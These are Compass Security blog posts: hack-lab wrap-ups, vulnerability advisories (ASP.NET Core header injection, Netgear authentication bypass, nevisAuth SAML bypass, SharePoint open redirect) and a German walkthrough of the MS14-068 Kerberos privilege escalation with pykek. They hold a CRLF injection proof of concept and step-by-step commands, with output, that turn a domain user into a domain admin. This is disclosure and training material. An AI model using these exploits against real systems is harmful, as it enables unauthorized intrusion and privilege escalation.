Wrap-up: Hack-Lab 2017#2

What is a Hack-Lab?

Compass Security provides a monthly playful occasion for the security analysts to get-together and try to hack new devices, dive into current technologies and share their skills with their fellows.

This also includes the improvement of internal tools, the research of newly identified publicly known attacks, and security analysis of hardware and software we consider useful for our future engagements. This hack-lab took place in our office in Bern.



The following topics, tools and technology has been discussed during this Hack-Lab:

  1. Threat Modeling and Security Concept session
  2. CMS Assessment
  3. JWT4B development
  4. GnuRadio door bell analysis
  5. Windows Share Enumeration Tool
  6. Exploit.courses testing and training


Topic #1 -Threat Modeling and Security Concept session

In a combination of talks and hands-on workshop sessions, Thomas Röthlisberger shared his knowledge about threat modeling and security concept creation and analysis with colleagues.

Information Security fundamentals:

  • Security Foundations – CIA
  • Security Design Principles
  • Threat Modeling and Standards

Security Concepts:

  • Ownership and Data Classification
  • Architecture and Network Topology
  • Web Security Controls
  • Operational Security

Topic #2 – CMS Assessment

Using different available security and hardening scanners, we try to asses the security of three CMS: Drupal, Joomla, WordPress.

The goal is to find new vulnerabilities and possible test cases. We refresh and update our Compass Knowledge and improve our tool-set for CMS security assessments.


  • Drupal
  • WordPress
  • Joomla
  • Web Scanners written in Python

Topic #3 – JWT4B development

We create a Burp plugin which helps the analyst testing apps which uses JSON Web Tokens (jwt.io).

The first step, which we performed in the previous hacklab, was to create a basic prototype, which enables Burp to visualize the tokens. During this hacklab we increased the functionality, implemented signature checking and interception functionalities.

Here a screenshot of the signature-checking functionality. The correct key was provided by the tester, which enables him to modify the JWT token comfortably:


  • Java
  • JJWT (library)
  • JWT

Topic #4 – GnuRadio door bell analysis

We analyzed a wireless door bell with the help of GnuRadio and HackRF One. We captured the ASK modulated signal, and stored it as digital bitstream in a file. Afterwards we could successfully replay the stored bitstream, making the door bell ring. The next step will include to further analyze the bitstream. 


  • GNU Radio
  • HackRF One SDR
  • Kali Linux

Topic #5 – Windows Share Enumeration tool development

If a pentest is performed in a large environment, it is possible that hundreds of accessible Windows shares are available in the network. The goal is to create a tool, which supports us during our penetration tests. Our tool should display the following information for every share in the network:

  • IP Address
  • Hostname
  • Share Name
  • 20 top level files and directories
  • ACLs for the top level files and directories

We managed to implement this tool by combining  Linux Samba tools (smbclient, smbcalcs) in an advanced shellscript.


  • Windows, filesharing, network share
  • ACL, Permissions
  • masscan
  • samba / smbclient / smbcacls
  • Linux, Shell, Scripting

Topic #6 – Exploit.courses testing and training

Dobin Rutishauser teaches the “Exploiting & Defense” part of the Application- and Software-Security module at the Bern University of Applied Sciences (Berner Fachhochschule). For this assignment he created a website which provides writeups and challenges to be solved by the students. It also hosts dedicated per-user Linux container, accessible via JavaScript terminal. The Hack-Lab was used to check the website for usability problems, resistance against local DoS attacks, security problems and also basic functionality checks. We also performed a review of some of the writeups, where the team members solved several of the challenges. This includes the ARM buffer overflow challenge, and an extended version of the shellcode development challenge.

The team could identify several small bugs, some small mistakes in the writeups, and gave valuable usability improvement feedback.


  • qemu, LXC / LXD
  • x86, x64 and ARM
  • gdb, readelf and python
  • AngularJS and go

Wrap-up: Hack-Lab 2017#1

What is a Hack-Lab?

Compass Security provides a monthly playful occasion for the security analysts to get-together and try to hack new devices, dive into current technologies and share their skills with their fellows.

This also includes the improvement of internal tools, the research of newly identified publicly known attacks, and security analysis of hardware and software we consider useful for our future engagements.



The following topics, tools and technology has been discussed during this Hack-Lab:

  1. SharePoint Security
  2. Bypassing Android 7.0 HTTPS Apps Certificates Restriction
  3. JWT4B
  4. CodeInspect
  5. Smart Meter
  6. DNS Tunnel Debugging


Topic #1 – SharePoint Security Lab and Knowledge Sharing

SharePoint is a very popular browser-based collaboration and content management platform. Due to its high complexity, proprietary technology and confusing terminology it is often perceived as a black-box that IT and security professionals do not feel very comfortable with.

In a combination of talks and hands-on workshop sessions, Thomas Röthlisberger shared his research work with colleagues. They challenged his findings and shared their thoughts on pros & cons of security relevant settings. The outcome of this Hack-Lab session will be shared in a series of blog posts within the next couple of weeks.

The research in our very own hands-on SharePoint lab allows us to gain an in-depth understanding of any type of SharePoint environment, be it a purely internal collaboration web application, a platform to share information with external partners or a publishing site hosting the company website. To build or assess a secure SharePoint environment one needs to understand the importance of governance, logical and physical architecture, network topology, active directory considerations, authentication and authorization, segregation of classified data, hardening and most importantly web security relevant settings to make sure the built-in protection measures are effective. Like other modern Microsoft products, an out-of-the-box SharePoint installation can be considered secure. However, there are so many weirdly named settings which heavily depend on each other that misconfiguration is likely to happen, leaving the door wide open for unauthorized access by adversaries with SharePoint skills.


  • SharePoint Server 2010 & 2013
  • Web Applications, Site Collections, (Sub-)Sites, (Custom) Lists, Document Libraries, Web Part Pages, Web Parts, Apps
  • Web Security, Cross-site Scripting (XSS), Cross-site Request Forgery (CSRF)
  • Navigation Links
  • Web Sensitive Files, permission to Add & Customize Pages and Scriptable Web Parts, e.g. Content Editor and Script Editor (“SafeAgainstScript=False”)
  • Browser File Handling
  • Web Page Security Validation (aka Anti-CSRF token)
  • Lockdown Mode Feature
  • Remote Interfaces SOAP, CSOM, WCF Service, REST Interface
  • Server-Side Controls
  • .NET Sandboxing, Sandboxed Solutions and Apps
  • Self-Service Site Creation
  • Developer Dashboard
  • Audit Logs
  • People Picker

Topic #2 – Bypassing Android 7.0 HTTPS Apps Certificates Restriction

With Android 7.0, apps do not trust user imported certificates anymore.  Intercepting app network traffic with a proxy has become more complicated.

The goal is to find or create a custom application which is explicitly developed for Android 7.0. Then to configure the app with the network_security_config.xml file, which is used to bypass this restriction,  and therefore enables user defined certificates.


  • Android Studio
  • Android 7.0
  • Apktool

Topic #3 – JWT4B

Create a Burp plugin which helps the analyst when testing an app that uses JSON Web Tokens (JWT.IO).

Frist step is to create a prototype which enables Burp to visualize the tokens. On further hacklabs it should be possible to automatically perform JWT attacks.


  • Java
  • JJWT (library)
  • JWT

Topic #4 – CodeInspect

Evaluation of CodeInspect’s features.

Determine if CodeInspect could be used to make future  Android app analysis assessments more efficient.


  • Java
  • Android

Topic #5 – Smart Meter


An Energy Monitoring System was provided for testing. It is used to measure the current consumption and provides various interfaces. Web browser (TCP/IP) and Modbus are the main ones.

Assess the security of the interfaces. What can an attacker exploit if given network access to the device?


  • TCP/IP
  • Modbus
  • HTTP Web Application

Topic #6 – DNS Tunnel Debugging

Compass Security has its own trojan toolkit which we use for responsible phishing attacks in mandate for our customers, and also demos and proof of concepts. The trojan also implements DNS tunneling.

Analyze the source code and perform debugging to identify and fix some reliability issues while performing DNS tunneling with multiple clients.


  • C++

ASP.NET Core 5-RC1 HTTP Header Injection Vulnerability

ASP.NET Core is a open-source and cross-platform framework for building modern cloud based internet connected applications, such as web apps, IoT apps and mobile backends. ASP.NET Core apps can run on .NET Core or on the full .NET Framework. It was architected to provide an optimized development framework for apps that are deployed to the cloud or run on-premises. [1]

The ASP.NET 5-RC1 Web Application Template is vulnerable to a HTTP Header Injection. Control characters are not filtered in the URL. This allows to send a carriage return character (%0D and %0A) in the ReturnUrl parameter. The content after the carriage return character is injected into the HTTP Response Header.

As a proof of concept, we show how this HTTP header injection can be used to redirect the victim from the destination website azurewebsites.net to www.csnc.ch. We use the string “/Account/\r\nLocation: http://www.csnc.ch” as “ReturnUrl” parameter:

Host: [CUT BY COMPASS].azurewebsites.net
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 240
Username=[VALID USERNAME]&Password=[VALID PASSWORD]&__RequestVerificationToken=[CUT

The server generates the following response, with the parameter from the GET requested inserted into the HTTP response headers. In this case a manipulated redirection location (“Location: http://www.csnc.ch”):

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 0
Expires: -1
Location: http://www.csnc.ch
Server: Microsoft-IIS/8.0
Set-Cookie: .AspNet.Microsoft.AspNet.Identity.Application=[CUT BY COMPASS]; path=/;
secure; httponly
X-Powered-By: ASP.NET
Date: Tue, 12 Apr 2016 13:50:23 GMT
Connection: close

With the same attack, also other HTTP Header values can be manipulated, e.g. it’s possible to set new cookies, or to overwrite existing cookies.

Microsoft patched the software since the version 1.0.0-RC2 of ASP.NET Core. Their bugfix consists of refusing parameters with control characters (ASCII values smaller than 0x20).

Github source code change:

New character check in the code:

+        public static void ValidateHeaderCharacters(string headerCharacters)
+        {
+            if (headerCharacters != null)
+            {
+                foreach (var ch in headerCharacters)
+                {
+                    if (ch < 0x20)
+                    {
+                        throw new InvalidOperationException(string.Format("Invalid control character in header: 0x{0:X2}", (byte)ch));
+                    }
+                }
+            }
+        }

The Compass advisory is available via here

Microsoft paid 5000$ based on their bug bounty program for Microsoft .NET Core: https://technet.microsoft.com/en-us/library/dn425036.aspx

[1] https://github.com/aspnet/home

SAMLRequest Support for SAML Raider

About a year ago, the Burp extension SAML Raider [0] was released as a result of a bachelor thesis [1] in collaboration with Compass Security. This Burp extension automates most of the steps, which are necessary to test a SAML single sign-on process and perform according attacks. With SAML Raider, an authentication bypass vulnerability in a Service Provider was found [2]. More information is available in our first blog post about SAML Raider here: SAML Burp Extension [5].

We did some bugfixing and added new features to SAML Raider in the past year. In version 1.2.0, we introduced the new ability to intercept and edit SAMLRequest Messages. The current version is 1.2.1, which is available here [3] on GitHub. It will also be in the official Burp Suite BApp store [4] shortly.

Decode SAMLRequest Message

There are several Burp Extensions [6] like SAML ReQuest [7], SAML Editor or SAML Encoder which allows you to edit SAMLRequests. We also got asked [8] if this feature is supported in SAML Raider, which was not the case. Because this would be a nice feature, we implemented it in version 1.2.0.

What is a SAMLRequest?

A SAMLRequest is the SAML message, which is sent from the user (browser) to the Identity Provider, to “ask” for an assertion. Usually, the SAMLRequest is sent to the Identity Provider, which will respond with a login form to ask for the credentials. If the login was successful, the SAMLResponse is sent back to the client, which is then forwarded to the Service Provider.

A SAMLRequest is sent via POST to the Identity Provider and looks like this:


So, it’s quite clear, that this is not so practical for quick editing and testing.

SAMLRequest in SAML Raider

SAML Raider is now able to properly decode a SAMLRequest and display it in the SAML Raider tab:


Now it is very easy to modify the SAMLRequest. The SAMLRequest is automatically encoded back in it’s original format and forwarded to the target, if the Forward button is clicked.

But why do you need to view/edit the SAMLRequest? With this new feature, you can read what the client is sending exactly to the Identity Provider and perform fuzzing or testing the Identity Provider itself.

So, if you have any questions, issues or features requests, don’t hesitate to contact us or open an Issue on GitHub [0].


Authentication Bypass in Netgear WNR1000v4 Router

Three months ago I tested the web interface of the Netgear WNR1000v4 router for some typical vulnerabilities. When playing around with the application by forcefully calling different URLs in contexts it was not meant for, I got some strange, but interesting behaviour.

I accessed different URLs and then switched back to the root web directory to have a look at some web application feature. At this moment I realized that I did not have to submit any credentials to access the administration interface. It seemed that the whole HTTP authentication process was not active anymore and I remembered that I definitely did not log in because I wanted to test the password reset feature. This was really strange, so I logged out and had a look at my Burp request history to determine which resource triggered this behaviour.

After some tests I realized that the resource /BRS_netgear_success.html is the problem. If you are not authenticated and call the URL several times the HTTP Basic Authentication temporary gets deactivated and you can access the administration interface without username and password [1].

This works because the “password deactivation feature” is used when you first plugin the router to configure some settings the first time.

I tested this vulnerability on the WNR1000v4 Netgear router with the following firmware versions:

Because this firmware is used for multiple devices, other devices are probably affected as well. This page references a list of devices which are very likely to be impacted [2]:

  • JNR1010v2
  • JWNR2000v5
  • JWNR2010v5
  • WNR614
  • WNR618
  • WNR1000v4
  • WNR2020
  • WNR2020v2

After the discovery I contacted Netgear through different channels to find a way for responsible disclosure. Unfortunately Netgear was not very responsive and it took a longer time until they responded. After about 2 months they sent me an undisclosed security fix which solves the problem. Netgear twice refused to respond to our request for a patched firmware release date. In the meantime, the issue was rediscovered and publically disclosed by another researcher [4]. This public disclosure prompted us to release our advisory to the public on October 6th.

In this case not the end of the story, but just the trigger of further events detailed in follow-up post “Aftermath of the Netgear Advisory Disclosure”.


[1] http://www.csnc.ch/misc/files/advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt
[2] http://kb.netgear.com/app/answers/detail/a_id/28025
[3] http://kb.netgear.com/app/answers/detail/a_id/26742
[4] http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html

SAML SP Authentication Bypass Vulnerability in nevisAuth

Two months ago, we wrote about SAML Raider, a Burp extension which allows automating SAML attacks based on manipulations of the intercepted security assertion. Using this tool, we were able to identify a severe vulnerability in the service provider (SP) implementation of AdNovum‘s nevisAuth. The following conditions make exploitation possible:

  • SAML POST-Binding is used, i.e. the security assertion is transmitted from the identity provider (IdP) via the user-agent to the SP, therefore exposing the contents of valid assertions to the attacker.
  • The SP accepts signed assertions from one or more identity providers, whereas the signing X.509 certificate is embedded into the assertion.

As described in the previous blog post, SAML Raider features a certificate cloning utility that allows inserting a self-signed, rogue copy of the X.509 certificate into the assertion. The assertion details can then be modified to impersonate other users, grant additional rights, etc. Finally, the rogue certificate is used to sign the modified security assertion.

Due to a flaw in nevisAuth’s signature validation logic, only some attributes of the embedded signing certificate are matched against the legitimate certificate, originating from the IdP. For example the distinguished names (DN) of issuer and subject are checked, but no uniquely identifying attributes such as public key or fingerprint. Then, since both the embedded certificate and the legitimate certificate from the truststore are seen as equivalent, the implementation does not care which one is actually used to validate the assertion’s signature. Unfortunately, the embedded, rogue certificate is used, enabling the attacker to inject arbitrary assertions.

After addressing the issue with AdNovum, they responded very swiftly, providing a security bulletin, a patch and mitigation procedures to their customers a mere day later. After a grace period of a couple of months, the vulnerability was disclosed under the CVE id CVE-2015-5372.

Excuse me, where is the best site of the city? After the DOM, just turn right!

During a SharePoint 2013 penetration test I performed last November, I noticed that a dynamically constructed JavaScript constantly fetched content or redirected me to the requested pages.
Using a variation of the double-slash trick we exploited in the past, I misused this functionality in order to perform a DOM based open redirection attack. Every SharePoint 2013 server is vulnerable, as the weakness is within a component accessible anonymously even when sites are restricted to authenticated users only.

This vulnerability enables an attacker to create a malicious link, which is sent i.e. via e-mail to his target. When the victim clicks on the link, the malformed JavaScript is executed and redirects the victim to a third party site. i.e www.hacking-lab.com. This attack leaves no audit trail in the server’s log and cannot be blocked by a Web Application Firewall as the payload is executed and stays exclusively in the client’s browser. As a pentester, but especially as a social engineer, this is exactly the technical vulnerability that I’m always looking for in order to perform very effective phishing attacks abusing a trustworthy domain.

Before uncovering more technical details about the issue, we want to ensure everyone had enough time to patch their SharePoint servers adequately. While Microsoft estimated that an anonymous and by default enabled DOM based open redirect in SharePoint 2013 was not severe enough for the release of a dedicated security bulletin, they committed themselves to fix it in a product update. Update KB3054867 fixes the issue and is available since June on Microsoft’s Download Center. While the page doesn’t mention any security updates, we strongly encourage you to test and install the patch across all your SharePoint 2013 servers. Microsoft acknowledged my contribution on its page “Security Researcher Acknowledgments for Microsoft Online Services” of August 2015. Further technical details will be released after a grace period of 2 months, to leave enough time to everyone to patch the issue.

Wie stiehlt man KMU-Geheimnisse?

Ein Hintegrundartikel zur SRF Einstein Sendung vom Donnerstag, 3. September 2015 um 21:00 Uhr zum Thema “Cybercrime, wie sicher ist das Know-how der Schweiz”. (Trailer online)

In diesem Artikel zeigen wir Ihnen die Vorgehensweisen von Angreifern auf, die versuchen unerlaubten Zugriff auf fremde Systeme zu erlangen — beispielsweise im Netzwerk eines KMUs. Schematisch sind diese Vorgehensweisen auch im Rahmen der von SRF Einstein dokumentierten Angriffe gegen die SO Appenzeller durchgeführt worden. Der Artikel soll Sie nicht nur für die Angriffsseite sensibilisieren, sondern hält auch sechs einfache Tipps zur Abwehr bereit.


Direkte Angriffe

Direkte Angriffe richten sich unmittelbar gegen die IT-Infrastruktur eines Unternehmens. Typischerweise sucht ein Angreifer dabei nach Schwachstellen auf einem Perimeter System, dass ins Internet exponiert ist.
Direkte Angriffe

  1. Ein Angreifer versucht unerlaubten Zugriff auf interne Systeme zu erlangen.
  2. Der Angreifer, beispielsweise vom Internet her, sucht nach offenen Diensten die er möglicherweise für das Eindringen ausnutzen kann.
  3. Ein ungenügend geschützter Dienst erlaubt dem Angreifer Zugriff auf interne Systeme.

Indirekte Angriffe

Im Gegensatz zu direkten Angriffen, nutzen indirekte Angriffe nicht unmittelbar eine Schwachstelle auf einem ins Internet exponierten System aus. Vielmehr versuchen indirekte Angriffe die Perimeter Sicherheit eines Unternehmens zu umgehen.

Man-in-the-Middle / Phishing Angriffe

Indirekte Angriffe

  1. Ein Angreifer schaltet sich in den Kommunikationsweg zweier Parteien. Dies erlaubt ihm das Mitlesen sensitiver Informationen.
  2. Der Angreifer nutzt die erlangten Informationen um unbemerkt auf interne Systeme zuzugreifen.

Malware / Mobile Devices / W-LAN
Indirekte Angriffe

  1. Ein Angreifer infiziert ein Gerät mit Schadsoftware.
  2. Durch die Schadsoftware erlangt der Angreifer Kontrolle über das infizierte Gerät, welches Zugriff auf andere interne Systeme hat.
  3. Zusätzlich kann ein Angreifer über andere Zugriffspunkte ins interne Netzwerk gelangen, beispielsweise über unsichere Wireless-LAN Access Points.

Covert Channel
Indirekte Angriffe

  1. Ein Angreifer präpariert ein Medium wie USB-Sticks oder CD-ROMs mit Schadsoftware.
  2. Der Angreifer bringt sein Opfer dazu das Medium zu verwenden.
  3. Die Schadsoftware wird automatisiert ausgeführt und verbindet sich unbemerkt zurück zum Angreifer. Der Angreifer erhält die Kontrolle über das infizierte Gerät.

Sechs Tipps zur Abwehr

  1. Regelmässige Aktualisierung von Betriebssystem, Browser und Anwendungssoftware
  2. Schutz durch Verwendung von Firewall und Anti-Viren Software
  3. Verwendung von starken Passwörtern, sowie deren regelmässige Änderung
  4. Löschen von E-Mails mit unbekanntem Absender, Sorgfalt beim Öffnen angehängter Dateien
  5. Vorsicht bei der Verwendung von unbekannten Medien wie USB-Sticks oder CD-ROMs
  6. Regelmässige Erstellung von Backups

Wie kann Compass Security Ihre Firma unterstützen?

Gerne prüfen wir, ob auch Ihre Geheimnisse sicher sind!SRF Einstein, Compass, Appenzeller


Unter folgenden Referenzen finden Sie Tipps und Anregungen zu häufig gestellten Fragen.

Hacklab Q2 – NoSQL mischief

At our reoccurring Hacklab days, we at Compass get the chance to hack some stuff of our own choice together for a day. For example playing with GSM in an attempt to send fake SMS or eavesdrop on voice data, comparing Encase capabilities to Unix command line forensic tools or cloning door entry badges in an attempt to gain unauthorized access to buildings or elevators.

During the Hacklab I gathered a few colleagues to create “team NoSQL” and toyed around with some of the example applications. Our project was based on a VM with several instances of “state of the art” web technologies, most of them involving a NoSQL database.

As a first task we performed a NoSQL injection on a self-developed PHP frontend with a MongoDB backend, as discussed in Hacking NodeJS and MongoDB. Additionally we wrote a python script which extracts cleartext password from the MongoDB with a binary search algorithm using the same vulnerability.

We also spent some time analyzing and exploiting race conditions in web applications, as for example described in Race Conditions on Facebook  and Hacking Starbucks for unlimited coffee. Using just the Linux command line, it was possible to generate arbitrary amount of money in a mockup Bitcoin website by sending a large amount of HTTP requests in parallel.

The slides of our presentation and the MongoDB bruteforcer script can be downloaded here:

Vom Domäne Benutzer zum Domäne Administrator (exploit MS14-068)

Der von Microsoft publizierte “out-of-band” Patch MS14-068 [1] (Vulnerability in Kerberos Could Allow Elevation of Privilege – 3011780) behebt eine Schwachstelle in Kerberos, welche es einem normalen Benutzer erlaubt, administrative Privilegien in der Windows Domäne zu erlangen. Die ersten öffentlichen Artikel [2] mutmassten, dass die Kerberos Services den CRC32 Algorithmus als gütlige Signatur auf Tickets akzeptieren. Per letzten Freitag wurde dann ein Tool namens Pykek [3] (Python Kerberos Exploitation Kit) publiziert, mit welchem die Schwachstelle in ein paar wenigen Schritten ausgenutzt werden kann.

Im Hacking-Lab [4] können Abonnenten und Lizenznehmer diese Schwachstelle risikofrei, in einer geschützten Umgebung, selbst testen. Folgende Schritte erklären das Vorgehen:

  1. Download und entpacken von pykek (Python Kerberos Exploitation Kit) von https://github.com/bidord/pykek
  2. Installieren des Pakets krb-user
    root@lcd806:~# apt-get install krb5-user
  3. Konfiguration des Domänenamen (in Grossbuchstaben): COMPA.NY sowie Authentication Service (AS) und Ticket Granting Service (TGS):
  4. Konfiguration des DNS /etc/resolve.conf welcher üblicherweise auf das Active Directory (AD): zeigt
  5. Starten von kinit
    root@lcd806:~# kinit hacker10@COMPA.NY
    Password for hacker10@COMPA.NY:
    kinit: Clock skew too great while getting initial credentials

    Hint: Das Kommando kann fehlschlagen, wenn die Serverzeit zuviel von der Zeit auf dem Angreifersystem abweicht. Es muss dann die Systemzeit des Angreifer wie in Schritt 6 und 7 gezeigt, nachgeführt werden.

  6. Optional: AD Systemzeit ermitteln, falls die Abweichung zu gross ist
    root@lcd806:~# nmap –sC
    | smb-os-discovery:
    |   OS: Windows Server 2003 3790 Service Pack 1 (Windows Server 2003 5.2)
    |   OS CPE: cpe:/o:microsoft:windows_server_2003::sp1
    |   Computer name: csl-ad
    |   NetBIOS computer name: CSL-AD
    |   Domain name: compa.ny
    |_  System time: 2014-12-07T15:07:11+01:00
    root@lcd806:~# date
    Sun Dec  7 15:17:47 CET 2014
  7. Optional: Nachführen der Systemzeit auf dem Angreifersystem, falls notwendig und nochmals den Schritt 5 durchführen.
  8. Prüfen der Kommunikation mit dem Domain Controller resp. Active Directory. Für //CSL-AD.COMPA.NY/c$ sollte ein “Access Denied” resultieren. Für //CSL-AD.COMPA.NY/netlogon ein “Success”.
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    tree connect failed: NT_STATUS_ACCESS_DENIED
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/netlogon
    Enter hacker10's password:
    Domain=[COMPA] OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    .                                   D        0  Wed Feb 18 14:22:57 2009
  9. Start rpcclient und eine Verbindung zum AD herstellen
    root@lcd806:~# rpcclient -k CSL-AD.COMPA.NY
  10. Die SID eines normalen User auslesen. Bspw. hacker10
    rpcclient $> lookupnames hacker10
    hacker10 S-1-5-21-3953427895-231737128-487567029-1107 (User: 1)
  11. Mit Hilfe der SID und pykek wird nun ein Ticket mit administrativen Privilegien generiert
    root@lcd806:~# python ms14-068.py -u hacker10@COMPA.NY -s S-1-5-21-3953427895-231737128-487567029-1107 -d CSL-AD.COMPA.NY
    [+] Building AS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending AS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Building TGS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending TGS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Creating ccache file 'TGT_hacker10@COMPA.NY.ccache'... Done!
  12. Nun muss auf dem Angreifersystem noch das eben erstellt Kerberosticket gesetzt werden
    root@lcd806:~# mv TGT_hacker10\@COMPA.NY.ccache /tmp/krb5cc_0
  13. Das wars. Wir sind Domäne Administrator
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    AUTOEXEC.BAT                        A        0  Tue May  3 00:44:46 2005
    boot.ini                         AHSR      208  Tue May  3 21:30:40 2005
    CONFIG.SYS                          A        0  Tue May  3 00:44:46 2005
    Documents and Settings              D        0  Fri May 29 14:03:55 2009
    IO.SYS                           AHSR        0  Tue May  3 00:44:46 2005
    MSDOS.SYS                        AHSR        0  Tue May  3 00:44:46 2005
    NTDETECT.COM                     AHSR    47772  Tue May  3 21:21:58 2005
    ntldr                            AHSR   295536  Tue May  3 21:21:58 2005
    pagefile.sys                      AHS 402653184  Sat Sep 17 16:50:27 2011
    Program Files                      DR        0  Thu May  5 12:18:47 2011
    RECYCLER                          DHS        0  Tue May  3 22:24:29 2005
    System Volume Information         DHS        0  Tue May  3 21:34:10 2005
    test.txt                            A       10  Thu Sep 30 14:37:49 2010
    WINDOWS                             D        0  Thu May  5 14:34:45 2011
    wmpub                               D        0  Tue May  3 00:45:57 2005
    65535 blocks of size 131072. 32678 blocks available


Bekannte Issues

  • Es ist wichtig, dass die Zeit auf den Systemen synchron ist.
  • Gemäss öffentlichen Statements funktioniert pykek bis und mit Domain Controllers (DCs) mit Windows 2008 R2. Dies weil die Ausnutzung für DCs mit Windows 2012 und später “leicht komplizierter” [5,6] ist.


Installation des “out-of-band” Patch MS14-068


Alexandre Herzog für das Tracken der MS Issues und dieses Tutorial.


[1] http://blogs.technet.com/b/msrc/archive/2014/11/19/security-bulletin-ms14-068-released.aspx
[2] http://blog.beyondtrust.com/a-quick-look-at-ms14-068
[3] https://github.com/bidord/pykek
[4] https://www.hacking-lab.com
[5] https://twitter.com/gentilkiwi/status/540953650701828096
[6] http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx